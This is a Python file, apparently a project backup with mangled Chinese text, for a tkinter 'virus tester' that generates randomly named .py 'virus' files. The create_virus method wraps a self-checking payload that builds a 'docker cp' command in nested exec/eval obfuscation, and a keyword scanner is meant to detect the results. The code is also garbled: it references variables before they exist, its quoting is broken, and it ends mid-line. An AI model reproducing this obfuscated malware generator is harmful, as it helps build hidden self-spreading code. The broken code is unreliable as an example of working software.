項(xiàng)目備份
```python
import os
import re
import hashlib
import datetime
import tkinter as tk
from tkinter import filedialog, ttk
import docker
class VirusTester:
??def __init__(self, root):
????self.root = root
????self.create_widgets()
????self.client = docker.from_env()
????self.vaccines = {}?# 初始化疫苗字典
??def create_widgets(self):
????tk.Label(text='容器名:').pack(side=tk.LEFT, padx=5, pady=5)
????self.container_name = tk.Entry(width=20)
????self.container_name.pack(side=tk.LEFT, padx=5, pady=5)
????self.create_virus_button = tk.Button(text='創(chuàng)建病毒', command=self.create_virus)
????self.scan_virus_button = tk.Button(text='掃描病毒', command=self.scan_virus)
????self.file_path_var = tk.Entry(width=50)
????self.monitor_var = tk.StringVar(value='歡迎使用病毒測(cè)試工具!為了確保安全,請(qǐng)勿將該工具用于非法用途。')
????self.monitor_result = tk.Label(textvariable=self.monitor_var)
????self.create_virus_button.pack(side=tk.LEFT, padx=5, pady=5)
????self.scan_virus_button.pack(side=tk.LEFT, padx=5, pady=5)
????tk.Label(text="病毒文件路徑:").pack(side=tk.LEFT, padx=5, pady=5)
????self.file_path_var.pack(side=tk.LEFT, padx=5, pady=5)
????tk.Label(text='狀態(tài):').pack(side=tk.LEFT, padx=5, pady=5)
????self.monitor_result.pack(side=tk.LEFT, padx=5, pady=5)
??def create_virus(self):
????virus_name = hashlib.md5(os.urandom(32)).hexdigest()
????virus_str = f'c="exec";exec({self.obfuscate_str("import os\nimport hashlib\nvirus_file=__file__\nwith open(virus_file,\"rb\") as f:\n??content=f.read()\nhash=hashlib.md5(content).hexdigest()\nif hash!=\"{virus_name}\":\n??with open(virus_file,\"wb\") as f:\n????f.write(content)\na="docker cp -i "';exec("exec(" + self.obfuscate_str(virus_str, n=4) + "a+'./'+os.path.split(virus_file)[-1]+' ' + " + '\nself.container_name + ':/' + os.path.split(virus_file)[-1]" + ")')")
????virus_content = f"exec({self.obfuscate_str(virus_str, n=2)})"
????with open(f"{virus_name}.py", "w") as f:
??????f.write(virus_content)
????self.monitor_var.set(f"病毒已創(chuàng)建:{virus_name}.py")
??def scan_virus(self):
????python_files = [os.path.join(root, file) for root, _, files in os.walk(".") for file in files if file.endswith(".py")]
????if not python_files:
??????self.monitor_var.set("當(dāng)前目錄下不存在Python文件。")
??????return
????virus_files = []
????virus_count = 0
????progress_bar = ttk.Progressbar(self.root, mode='determinate', length=400)
????progress_bar.pack()
????progress_bar.start()
????for file in python_files:
??????with open(file) as f:
????????content = f.read()
????????if "import os" in content and "import hashlib" in content and "__file__" in content and "docker cp" in content and "docker exec" in content:
??????????virus_name = re.search(r'if\s+hash\s+!=\s+"(.+?)":', content).group(1)
??????????virus_files.append(file)
??????????virus_count += 1
??????progress_bar.step(100/len(python_files))
??????self.root.update()
????progress_bar.stop()
????if virus_files:
??????self.monitor_var.set(f"發(fā)現(xiàn){virus_count}個(gè)病毒文件:{','.join(virus_files)}")
????else:
??????self.monitor_var.set("未發(fā)現(xiàn)病毒文件。")
??@staticmethod
??def obfuscate_str(s, n=1):
????s = s.replace("\\", "\\\\").replace("\n", "\\n").replace("\t", "\\t")
????for i in range(n):
??????s = f"s=\"{s}\";s=eval(compile(s.encode().decode('unicode_escape').encode('utf-8'),'